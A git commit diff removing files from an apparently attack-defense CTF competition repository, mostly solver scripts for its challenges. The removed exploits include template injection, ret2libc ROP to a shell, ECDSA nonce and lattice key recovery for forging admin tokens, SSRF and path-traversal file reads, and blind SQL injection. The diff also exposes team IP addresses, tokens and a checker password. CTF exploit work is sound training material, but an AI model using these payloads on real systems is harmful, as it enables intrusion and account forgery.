removed old files
This commit is contained in:
@@ -1,21 +0,0 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2023 rendi
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -1,13 +1,11 @@
|
||||
# wreckit-5.0-final
|
||||
# Gemastik XVIII Cybersecurity Final Round - Attack Defense Repository
|
||||
|
||||
## challenges
|
||||
|
||||
| challenges | author | category |
|
||||
| ---------- | ----------- | -------- |
|
||||
| poke | jagungrebus | web |
|
||||
| wanderer | ZeroEXP | web |
|
||||
| niko | hanz0 | pwn |
|
||||
| blinkpdf | wondPing | crypto |
|
||||
| blogpost | keii | web |
|
||||
| cdn | keii | web |
|
||||
|
||||
## how-to-run
|
||||
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
3 Fidethus 54.179.25.137 Zp4y9X3T1V
|
||||
4 Men Who Cry 54.255.181.131 8F5G7H2Q6R
|
||||
5 bangorkan dulu le 18.143.108.133 C4D5E6F7G8
|
||||
6 me encanta cocinar 54.169.243.246 J3K4L5M6N7
|
||||
7 PETIR - That Time I Got Reincarnated as a WreckIT Player Official 13.212.142.212 P1Q2R3S4T5
|
||||
8 Girls Band Cry 54.179.130.178 V7W8X9Y0Z2
|
||||
9 SNI - FLAVATO 52.221.251.25 OIJA92QOD4
|
||||
10 Big Brain Kidz 18.143.158.116 B5C6D7E8F9
|
||||
11 mas Takumi Silahkan maju untuk membayar tagihan listrik 54.254.232.40 H1I2J3K4L5
|
||||
12 sehad 13.212.60.169 R7S8T9U0V
|
||||
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,7 +0,0 @@
|
||||
import requests, urllib
|
||||
import sys
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 10000
|
||||
|
||||
print(requests.get(f'http://{HOST}:{PORT}/art/' + urllib.parse.quote_plus('#{File.read([47, 102, 108, 97, 103, 46, 116, 120, 116].pack("c*"))}')).text)
|
||||
@@ -1,42 +0,0 @@
|
||||
from pwn import *
|
||||
import sys
|
||||
|
||||
context.arch = 'amd64'
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 22000
|
||||
|
||||
def conn():
|
||||
return remote(HOST, PORT, level='warn')
|
||||
|
||||
def main():
|
||||
global r
|
||||
r = conn()
|
||||
r.recvline()
|
||||
|
||||
junk = b"A" * (0x40 + 8)
|
||||
pop_rdi = p64(0x401243)
|
||||
plt_puts = p64(0x401060)
|
||||
got_puts = p64(0x403fd8)
|
||||
main_addr = p64(0x4011a9)
|
||||
ret = p64(0x40101a)
|
||||
|
||||
payload = junk + pop_rdi + got_puts + plt_puts + main_addr
|
||||
|
||||
r.sendline(payload)
|
||||
leak = u64(r.recvline(False).ljust(8,b"\x00"))
|
||||
libc = leak - 0x84420
|
||||
system = libc + 0x52290
|
||||
binsh = libc + 0x1b45bd
|
||||
# print(f"puts @ {hex(leak)}")
|
||||
# print(f"system @ {hex(system)}")
|
||||
# print(f"binsh @ {hex(binsh)}")
|
||||
|
||||
payload = junk + ret + pop_rdi + p64(binsh) + p64(system) + main_addr
|
||||
r.sendline(payload)
|
||||
r.sendline(b"echo 1337")
|
||||
r.recvuntil(b"1337")
|
||||
r.sendline(b"cat /flag.txt")
|
||||
print(r.recvuntil(b'}').decode().strip())
|
||||
|
||||
main()
|
||||
@@ -1,131 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from fastecdsa.curve import Curve
|
||||
from fastecdsa.point import Point
|
||||
from base64 import urlsafe_b64decode, urlsafe_b64encode
|
||||
from zlib import crc32
|
||||
|
||||
import requests
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 14000
|
||||
|
||||
url = f"http://{HOST}:{PORT}"
|
||||
|
||||
r = requests.get(f"{url}/params").text
|
||||
r = r.replace("<pre>", "").replace("</pre>", "")
|
||||
params = json.loads(r)
|
||||
# print(params)
|
||||
|
||||
C = Curve(
|
||||
"burvesigner",
|
||||
params["p"],
|
||||
params["a"],
|
||||
params["b"],
|
||||
params["n"],
|
||||
params["G"][0],
|
||||
params["G"][1],
|
||||
)
|
||||
G = C.G
|
||||
Y = Point(params["Y"][0], params["Y"][1], C)
|
||||
|
||||
b64p = lambda x: x + b"=" * (-len(x) % 4)
|
||||
b64u = lambda x: x.rstrip(b"=")
|
||||
b64e = lambda x: b64u(urlsafe_b64encode(x))
|
||||
b64d = lambda x: urlsafe_b64decode(b64p(x))
|
||||
|
||||
|
||||
def get_token():
|
||||
r = requests.post(url, data={"username": "guest", "password": "guest"}).cookies
|
||||
return r["token"]
|
||||
|
||||
|
||||
token1 = get_token()
|
||||
token2 = get_token()
|
||||
# print(token1)
|
||||
# print(token2)
|
||||
|
||||
sig1 = token1.split(".")[1]
|
||||
sig2 = token2.split(".")[1]
|
||||
|
||||
t = 112 // 8
|
||||
shift_u = pow(2, 112 - 64)
|
||||
|
||||
|
||||
def from_bytes(data):
|
||||
return int.from_bytes(data, "little")
|
||||
|
||||
|
||||
def to_bytes(num):
|
||||
return int.to_bytes(num, t, "little")
|
||||
|
||||
|
||||
sig1dec = urlsafe_b64decode(sig1)
|
||||
arr1 = [sig1dec[t * i : t * (i + 1)] for i in range(3)]
|
||||
Rx1, Ry1, s1 = map(from_bytes, arr1)
|
||||
|
||||
sig2dec = urlsafe_b64decode(sig2)
|
||||
arr2 = [sig2dec[t * i : t * (i + 1)] for i in range(3)]
|
||||
Rx2, Ry2, s2 = map(from_bytes, arr2)
|
||||
|
||||
R1 = Point(Rx1, Ry1, C)
|
||||
R2 = Point(Rx2, Ry2, C)
|
||||
|
||||
# bf diff
|
||||
for bf in range(1, 2**20):
|
||||
diff = bf * shift_u
|
||||
if R1 + G * diff == R2:
|
||||
# print(bf, diff)
|
||||
break
|
||||
|
||||
|
||||
def apa(msg):
|
||||
return crc32(msg)
|
||||
|
||||
|
||||
def fake_sign(msg, x):
|
||||
k = 555555
|
||||
R = k * C.G
|
||||
s = (apa(msg) - x * R.x) * pow(k, -1, C.q) % C.q
|
||||
sig = b"".join(map(to_bytes, [R.x, R.y, s]))
|
||||
return urlsafe_b64encode(sig)
|
||||
|
||||
|
||||
def dup_verify(msg, sig):
|
||||
assert len(sig) == 4 * t
|
||||
sig = urlsafe_b64decode(sig)
|
||||
arr = [sig[t * i : t * (i + 1)] for i in range(3)]
|
||||
Rx, Ry, s = map(from_bytes, arr)
|
||||
R = Point(Rx, Ry, C)
|
||||
return apa(msg) * C.G == s * R + Y * R.x
|
||||
|
||||
|
||||
payload = b64e(
|
||||
json.dumps(
|
||||
{"user": "admin", "role": "admin", "exp": int(time.time()) + 300}
|
||||
).encode()
|
||||
)
|
||||
|
||||
h1 = apa(token1.split(".")[0].encode())
|
||||
h2 = apa(token2.split(".")[0].encode())
|
||||
h3 = apa(payload)
|
||||
|
||||
k1 = (Rx1 * h2 - Rx1 * s2 * diff - Rx2 * h1) * pow(Rx1 * s2 - s1 * Rx2, -1, C.q) % C.q
|
||||
priv = (h1 - s1 * k1) * pow(Rx1, -1, C.q) % C.q
|
||||
sig3 = fake_sign(payload, priv)
|
||||
# print(k1, priv, to_bytes(priv))
|
||||
|
||||
token3 = payload + b"." + sig3
|
||||
token3 = token3.decode()
|
||||
# print(token3)
|
||||
|
||||
r = requests.get(url, cookies={"token": token3}).text
|
||||
if "flashes" in r:
|
||||
print("failed")
|
||||
exit(1)
|
||||
|
||||
flag = re.findall(r'Welcome, admin! (.+)</p>', r)[0]
|
||||
print(flag)
|
||||
@@ -1,23 +0,0 @@
|
||||
k1 = t1 * 2^shift + junk
|
||||
k2 = (t1 + diff) * 2^shift + junk
|
||||
k2 - k1 = diff (2^shift)
|
||||
|
||||
bf: diff (2^shift)
|
||||
|
||||
for bf in range(...):
|
||||
if R1 + G * bf * (2^shift) == R2:
|
||||
found
|
||||
|
||||
--------------------------------
|
||||
|
||||
s1 (k1) = h1 - r1 x
|
||||
s2 (k1 + diff) = h2 - r2 x
|
||||
|
||||
(h1 - s1 k1) / r1 = x
|
||||
(h2 - s2 k1 - s2 diff) / r2 = x
|
||||
|
||||
(h1 - s1 k1) r2 = (h2 - s2 k1 - s2 diff) r1
|
||||
r2 h1 - r2 s1 k1 = r1 h2 - r1 s2 k1 - r1 s2 diff
|
||||
r1 s2 k1 - r2 s1 k1 = r1 h2 - r1 s2 diff - r2 h1
|
||||
k1 (r1 s2 - s1 r2) = r1 h2 - r1 s2 diff - r2 h1
|
||||
k1 = (r1 h2 - r1 s2 diff - r2 h1) / (r1 s2 - s1 r2)
|
||||
@@ -1,7 +0,0 @@
|
||||
import requests
|
||||
import sys
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 21000
|
||||
|
||||
print(requests.post(f"http://{HOST}:{PORT}/crawlback.php", data={'url': 'file:///flag.txt'}).text)
|
||||
@@ -1,30 +0,0 @@
|
||||
import requests, random, string, base64, gzip, zlib, json, sys
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 16000
|
||||
|
||||
def random_string(length):
|
||||
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
|
||||
return ''.join(random.choice(charset) for i in range(length))
|
||||
|
||||
def exploit():
|
||||
sess = requests.Session()
|
||||
|
||||
## register
|
||||
username = random_string(5)
|
||||
password = random_string(5)
|
||||
r = sess.post(f"http://{HOST}:{PORT}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
|
||||
|
||||
## login
|
||||
r = sess.post(f"http://{HOST}:{PORT}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
|
||||
|
||||
## exploit python
|
||||
content = {"provider": "python","url":" file:///flag.txt"}
|
||||
files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||
r = sess.post(f"http://{HOST}:{PORT}/dashboard/fetch_by_file", files=files)
|
||||
b64_string = r.text
|
||||
b64_string += "=" * ((4 - len(b64_string) % 4) % 4)
|
||||
print(base64.b64decode(b64_string).decode())
|
||||
|
||||
if __name__ == "__main__":
|
||||
exploit()
|
||||
@@ -1,54 +0,0 @@
|
||||
import requests
|
||||
|
||||
HOST = "http://localhost:12000"
|
||||
|
||||
def login():
|
||||
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
|
||||
return token
|
||||
|
||||
def send_request(payload,token):
|
||||
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
|
||||
if res.status_code == 401:
|
||||
new_token = login()
|
||||
return send_request(payload, new_token)
|
||||
return res.json()["count"], token
|
||||
|
||||
def attack(idx, char):
|
||||
global token
|
||||
|
||||
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) > {ord(char)},31337,0) ORDER BY 1 DESC#"
|
||||
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
|
||||
result,token = send_request(final_payload, token)
|
||||
|
||||
if result == 31337:
|
||||
return True
|
||||
return False
|
||||
|
||||
def solve():
|
||||
charset = "0123456789abcdef"
|
||||
flag = ""
|
||||
idx = 10
|
||||
for i in range(32):
|
||||
lo = 0
|
||||
hi = len(charset)
|
||||
|
||||
while lo <= hi:
|
||||
mid = lo + (hi - lo) // 2
|
||||
char = charset[mid]
|
||||
|
||||
if attack(idx,char):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid - 1
|
||||
|
||||
flag += charset[lo]
|
||||
print(f"CHAR {idx} | {charset[lo]}")
|
||||
idx += 1
|
||||
|
||||
return "WRECKIT50{"+flag+"}"
|
||||
|
||||
if __name__=="__main__":
|
||||
global token
|
||||
token = login()
|
||||
flag = solve()
|
||||
print(flag)
|
||||
@@ -1,37 +0,0 @@
|
||||
import requests
|
||||
|
||||
HOST = "http://localhost:12000"
|
||||
|
||||
def login():
|
||||
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
|
||||
return token
|
||||
|
||||
def send_request(payload,token):
|
||||
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
|
||||
if res.status_code == 401:
|
||||
new_token = login()
|
||||
return send_request(payload, new_token)
|
||||
return res.json()["count"], token
|
||||
|
||||
def attack():
|
||||
token = login()
|
||||
charset = "0123456789abcdef"
|
||||
|
||||
flag = ""
|
||||
idx = 10
|
||||
for i in range(32):
|
||||
for c in list(charset):
|
||||
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) = {ord(c)},31337,0) ORDER BY 1 DESC#"
|
||||
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
|
||||
result,token = send_request(final_payload, token)
|
||||
if result == 31337:
|
||||
flag += c
|
||||
idx += 1
|
||||
print(f"[+] CHAR {idx} | {c}")
|
||||
break
|
||||
|
||||
return "WRECKIT50{"+flag+"}"
|
||||
|
||||
if __name__=="__main__":
|
||||
flag = attack()
|
||||
print(flag)
|
||||
@@ -1,33 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from subprocess import check_output
|
||||
from pwn import *
|
||||
|
||||
def execute(payload):
|
||||
with open("payload", "wb") as f:
|
||||
f.write(payload)
|
||||
|
||||
output = check_output(["./hirnfick", "payload"])[13:]
|
||||
return output
|
||||
|
||||
def enc(s):
|
||||
final = b""
|
||||
for c in s:
|
||||
final += b"+" * c
|
||||
final += b">"
|
||||
return final
|
||||
|
||||
payload = b"<" * 0x90
|
||||
payload += b"+" * (0x20)
|
||||
payload += b">"
|
||||
payload += b"+" * (0x5e-0x22)
|
||||
payload += b">"
|
||||
payload += b"---"
|
||||
payload += b">" * (0x90-2-0x20)
|
||||
payload += b"+"
|
||||
payload += b">" * 0x20
|
||||
payload += enc(b"cat /flag.txt")
|
||||
|
||||
# payload += b".>" * 8
|
||||
|
||||
out = execute(payload)
|
||||
print(hexdump(out))
|
||||
@@ -1,85 +0,0 @@
|
||||
import hmac
|
||||
from base64 import urlsafe_b64encode, urlsafe_b64decode
|
||||
from hashlib import sha224, sha256, sha384, sha512
|
||||
from ecdsa import ecdsa, SigningKey, VerifyingKey, NIST256p, NIST224p, NIST384p, NIST521p
|
||||
|
||||
allowed_curve = [
|
||||
NIST224p,
|
||||
NIST256p,
|
||||
NIST384p,
|
||||
NIST521p
|
||||
]
|
||||
|
||||
hashfunc = [
|
||||
sha224,
|
||||
sha256,
|
||||
sha384,
|
||||
sha512
|
||||
]
|
||||
|
||||
key_size = [28, 32, 48, 66]
|
||||
signature_size = [56, 64, 96, 132]
|
||||
|
||||
|
||||
class PastaSigner:
|
||||
def __init__(self, secret: bytes, version: int):
|
||||
self.purpose = 'public'
|
||||
if version > 4 or version < 1:
|
||||
version = 1
|
||||
self.version = version
|
||||
self.hashfunc = hashfunc[self.version - 1]
|
||||
self.key_size = key_size[self.version - 1]
|
||||
self.priv = SigningKey.from_string(secret[:self.key_size], curve=allowed_curve[self.version - 1])
|
||||
|
||||
def serialize(self, data: bytes, sig):
|
||||
token = 'v' + str(self.version) + '.'
|
||||
token += self.purpose + '.'
|
||||
token += urlsafe_b64encode(data + sig).decode().replace('=', '')
|
||||
return token
|
||||
|
||||
def sign(self, data: str):
|
||||
data = data.encode()
|
||||
pub = self.priv.get_verifying_key().to_string()
|
||||
h = self.hashfunc(data + pub).digest()
|
||||
nonce = hmac.new(self.priv.to_string(), data, self.hashfunc).hexdigest()
|
||||
sig = self.priv.sign_digest(h, k=int(nonce, 16))
|
||||
|
||||
return self.serialize(data + pub, sig)
|
||||
|
||||
|
||||
class PastaVerifier:
|
||||
|
||||
def __init__(self, secret):
|
||||
self.purpose = 'public'
|
||||
self.secret = secret
|
||||
|
||||
def deserialize(self, data: bytes):
|
||||
try:
|
||||
version, purpose, payload = data.split(b'.')
|
||||
version = int(version.replace(b'v', b''))
|
||||
if version > 4 or version < 1:
|
||||
return False
|
||||
self.version = version
|
||||
self.hashfunc = hashfunc[self.version - 1]
|
||||
self.key_size = key_size[self.version - 1]
|
||||
self.priv = SigningKey.from_string(self.secret[:self.key_size], curve=allowed_curve[self.version - 1])
|
||||
|
||||
raw_data = urlsafe_b64decode(payload + (b'==' * 2))
|
||||
size = signature_size[self.version - 1]
|
||||
signature = raw_data[-size:]
|
||||
public_key = raw_data[-size * 2:-size]
|
||||
message = raw_data[:-size]
|
||||
|
||||
return message, public_key, signature
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
def verify(self, token: str):
|
||||
deserialized = self.deserialize(token.encode())
|
||||
if deserialized:
|
||||
message, _, signature = deserialized
|
||||
h = self.hashfunc(message).digest()
|
||||
verifier = self.priv.get_verifying_key()
|
||||
return verifier.verify_digest(signature, h)
|
||||
|
||||
return False
|
||||
@@ -1,129 +0,0 @@
|
||||
import json
|
||||
import os
|
||||
import requests
|
||||
from sage.all import *
|
||||
from Crypto.Util.number import *
|
||||
from Crypto.Util.strxor import strxor
|
||||
from hashlib import sha512
|
||||
from base64 import urlsafe_b64decode, urlsafe_b64encode
|
||||
from pasta import PastaSigner, PastaVerifier
|
||||
|
||||
HOST = "10.100.101.102:13000"
|
||||
# HOST = "0.0.0.0:8000"
|
||||
|
||||
|
||||
def register(username):
|
||||
r = requests.post('http://{}/register'.format(HOST), json={'username': username, 'password': '123'})
|
||||
print(r.json())
|
||||
|
||||
|
||||
def login(username):
|
||||
r = requests.post('http://{}/auth?version=4'.format(HOST), json={'username': username, 'password': '123'})
|
||||
token = r.json()['token']
|
||||
|
||||
return token
|
||||
|
||||
|
||||
def get_flag(token):
|
||||
r = requests.get('http://{}/flag'.format(HOST), headers={'Authorization': 'Bearer {}'.format(token)})
|
||||
return r.json()
|
||||
|
||||
|
||||
secret = b'\x00' + os.urandom(65)
|
||||
signer = PastaSigner(secret, 4)
|
||||
verifier = PastaVerifier(secret)
|
||||
|
||||
|
||||
sigs = []
|
||||
n = 110
|
||||
for i in range(n):
|
||||
username = "pasta-{}".format(i)
|
||||
register(username)
|
||||
token = login(username)
|
||||
sigs.append(token.encode())
|
||||
# sigs.append(signer.sign(json.dumps({"username": username, "role": "user"})).encode())
|
||||
|
||||
|
||||
hs = []
|
||||
rs = []
|
||||
ss = []
|
||||
|
||||
for i in range(n):
|
||||
_, _, sig = sigs[i].split(b".")
|
||||
raw_data = urlsafe_b64decode(sig + (b'==' * 2))
|
||||
size = 132
|
||||
signature = raw_data[-size:]
|
||||
public_key = raw_data[-size * 2:-size]
|
||||
message = raw_data[:-size]
|
||||
|
||||
r = bytes_to_long(signature[:66])
|
||||
s = bytes_to_long(signature[66:])
|
||||
|
||||
hs.append(bytes_to_long(sha512(message).digest()))
|
||||
rs.append(r)
|
||||
ss.append(s)
|
||||
|
||||
|
||||
h1 = int(hs[0])
|
||||
r1 = int(rs[0])
|
||||
s1 = int(ss[0])
|
||||
|
||||
captured = []
|
||||
for i in range(len(hs)):
|
||||
captured.append((int(hs[i]), int(rs[i]), int(ss[i])))
|
||||
|
||||
order = 0x01fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409
|
||||
|
||||
matrix = []
|
||||
nonce_bit = 512 # bit size of nonce
|
||||
|
||||
i = 0
|
||||
n = len(captured) + 2
|
||||
|
||||
max_nonce = 2**nonce_bit
|
||||
|
||||
for signature in captured:
|
||||
|
||||
matrix.append([0] * n)
|
||||
matrix[i][i] = order
|
||||
|
||||
i += 1
|
||||
|
||||
matrix.append([0] * n)
|
||||
matrix.append([0] * n)
|
||||
|
||||
i = 0
|
||||
for signature in captured:
|
||||
h, r, s = signature
|
||||
|
||||
inv_s = inverse_mod(s, order)
|
||||
|
||||
matrix[n - 2][i] = r * inv_s
|
||||
matrix[n - 1][i] = h * inv_s
|
||||
|
||||
i += 1
|
||||
|
||||
matrix[n - 2][n - 2] = int(max_nonce) / order
|
||||
matrix[n - 2][n - 1] = 0
|
||||
matrix[n - 1][n - 2] = 0
|
||||
matrix[n - 1][n - 1] = max_nonce
|
||||
|
||||
print("LLL")
|
||||
|
||||
B = Matrix(QQ, n, n, matrix)
|
||||
L = B.LLL()
|
||||
|
||||
possible_d = []
|
||||
for row in list(L):
|
||||
k1 = int(abs(row[0]))
|
||||
if k1 != 0 and k1 != max_nonce and k1 < max_nonce:
|
||||
d = (k1 * s1 - h1) * inverse_mod(r1, order) % order
|
||||
|
||||
possible_d.append('00' + long_to_bytes(d).hex())
|
||||
|
||||
# assert secret.hex() in possible_d
|
||||
|
||||
for d in possible_d:
|
||||
fake_signer = PastaSigner(bytes.fromhex(d), 4)
|
||||
token = fake_signer.sign(json.dumps({"username": "pwned", "role": "admin"}))
|
||||
print(get_flag(token))
|
||||
@@ -1,7 +0,0 @@
|
||||
import requests
|
||||
import sys
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 20000
|
||||
|
||||
print(requests.get(f"http://{HOST}:{PORT}/download?filename=/flag.txt").text)
|
||||
@@ -1 +0,0 @@
|
||||
/flag.txt
|
||||
@@ -1,6 +0,0 @@
|
||||
import requests
|
||||
|
||||
url = f'http://localhost:11000?type=file'
|
||||
files = {'file': open('path', 'rb').read()}
|
||||
r = requests.post(url, files=files, timeout=5)
|
||||
print(r.json())
|
||||
@@ -1,40 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import io
|
||||
import pandas as pd
|
||||
import requests
|
||||
import re
|
||||
|
||||
class Art(Challenge):
|
||||
flag_location = 'flags/art.txt'
|
||||
history_location = 'history/art.txt'
|
||||
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
word = self.random_string(8)
|
||||
url = f'http://localhost:{self.port}/art/{word}'
|
||||
r = requests.get(url, timeout=5)
|
||||
assert r.text == f'<iframe height="100%" width="100%" frameborder="0" src=https://asciified.thelicato.io/api/v2/ascii?text={word}></iframe>', 'Unexpected response'
|
||||
self.logger.info('Check passed for art')
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check art: {e}')
|
||||
return False
|
||||
@@ -1,35 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
from pwn import *
|
||||
|
||||
class BackToBasic(Challenge):
|
||||
flag_location = 'flags/back-to-basic.txt'
|
||||
history_location = 'history/back-to-basic.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
r = remote("localhost",self.port)
|
||||
assert b"idea?" in r.recvline(), "Failed First"
|
||||
|
||||
r.sendline(b"testt")
|
||||
|
||||
assert b"thing" in r.recvline(), "Failed Last"
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check back-to-basic: {e}')
|
||||
return False
|
||||
@@ -1,124 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
from fastecdsa.curve import Curve
|
||||
from fastecdsa.point import Point
|
||||
import requests
|
||||
import time
|
||||
import os
|
||||
import json
|
||||
|
||||
|
||||
class Burvesigner(Challenge):
|
||||
flag_location = 'flags/burvesigner.txt'
|
||||
history_location = 'history/burvesigner.txt'
|
||||
priv_location = 'files/burvesigner.priv'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.priv_location, 'wb') as f:
|
||||
f.write(os.urandom(256))
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
url = f'http://localhost:{self.port}'
|
||||
flag = open(self.flag_location).read()
|
||||
|
||||
# C1: login guest success
|
||||
guest_data = {
|
||||
'username': 'guest',
|
||||
'password': 'guest',
|
||||
}
|
||||
response = requests.post(url, data=guest_data, timeout=5)
|
||||
guest_token = response.cookies["token"]
|
||||
assert "Welcome, guest!" in response.text, "Guest cannot login"
|
||||
assert "flashes" not in response.text, "Guest cannot login"
|
||||
self.logger.info(f'C1 success for burvesigner')
|
||||
|
||||
# C2: login admin success
|
||||
admin_data = {
|
||||
'username': 'merricx_number_1_fans',
|
||||
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
|
||||
}
|
||||
response = requests.post(url, data=admin_data, timeout=5)
|
||||
admin_token = response.cookies["token"]
|
||||
assert "Welcome, merricx_number_1_fans!" in response.text, "Admin cannot login"
|
||||
assert flag in response.text, "Flag is missing in admin page"
|
||||
assert "flashes" not in response.text, "Admin cannot login"
|
||||
self.logger.info(f'C2 success for burvesigner')
|
||||
|
||||
# C3: login guest fail
|
||||
guest_data = {
|
||||
'username': 'guest',
|
||||
'password': 'Guest',
|
||||
}
|
||||
response = requests.post(url, data=guest_data, timeout=5).text
|
||||
assert "Welcome, guest!" not in response, "Guest with wrong credential can login"
|
||||
assert "flashes" in response, "Guest with wrong credential can login"
|
||||
self.logger.info(f'C3 success for burvesigner')
|
||||
|
||||
# C4: login admin fail
|
||||
admin_data = {
|
||||
'username': 'merricx_number_1_fans',
|
||||
'password': 'password',
|
||||
}
|
||||
response = requests.post(url, data=admin_data, timeout=5).text
|
||||
assert "Welcome, merricx_number_1_fans!" not in response, "Admin with wrong credential can login"
|
||||
assert flag not in response, "Flag is showing in admin page with wrong credential"
|
||||
assert "flashes" in response, "Admin with wrong credential can login"
|
||||
self.logger.info(f'C4 success for burvesigner')
|
||||
|
||||
self.logger.info('calling sleep(5)')
|
||||
time.sleep(5)
|
||||
|
||||
# C5: cek apakah token guest di C1 sudah expired atau belum
|
||||
response = requests.get(url, cookies={"token": guest_token}, timeout=5)
|
||||
assert "Welcome, guest!" in response.text, "Guest token expires early"
|
||||
assert "flashes" not in response.text, "Guest token expires early"
|
||||
self.logger.info(f'C5 success for burvesigner')
|
||||
|
||||
# C6: cek apakah token admin di C2 sudah expired atau belum
|
||||
response = requests.get(url, cookies={"token": admin_token}, timeout=5)
|
||||
assert "Welcome, merricx_number_1_fans!" in response.text, "Admin token expires early"
|
||||
assert flag in response.text, "Admin token expires early"
|
||||
assert "flashes" not in response.text, "Admin token expires early"
|
||||
self.logger.info(f'C6 success for burvesigner')
|
||||
|
||||
# C7: cek endpoint /params
|
||||
response = requests.get(url + "/params", timeout=5).text
|
||||
response = response.replace("<pre>", "").replace("</pre>", "")
|
||||
params = json.loads(response)
|
||||
assert params["p"] and params["a"] and params["b"] and params["n"], "Missing p, a, b and/or n parameter(s)"
|
||||
assert params["G"][0] and params["G"][1] and params["Y"][0] and params["Y"][1], "Missing G and/or Y point(s)"
|
||||
self.logger.info(f'C7 success for burvesigner')
|
||||
|
||||
# C8: cek apakah curve C valid dan point G di C
|
||||
C = Curve("burvesigner", params["p"], params["a"], params["b"], params["n"], params["G"][0], params["G"][1])
|
||||
assert C.G == Point(params["G"][0], params["G"][1], C), "Point G is not valid"
|
||||
self.logger.info(f'C8 success for burvesigner')
|
||||
|
||||
# C9: cek apakah point G * priv = Y
|
||||
t = params["p"].bit_length() // 8
|
||||
priv = open(self.priv_location, "rb").read()[:t]
|
||||
x = int.from_bytes(priv, "little")
|
||||
Y = Point(params["Y"][0], params["Y"][1], C)
|
||||
assert C.G * x == Y, "Point Y is not valid"
|
||||
self.logger.info(f'C9 success for burvesigner')
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check burvesigner: {e}')
|
||||
return False
|
||||
@@ -1,34 +0,0 @@
|
||||
import logging
|
||||
import random
|
||||
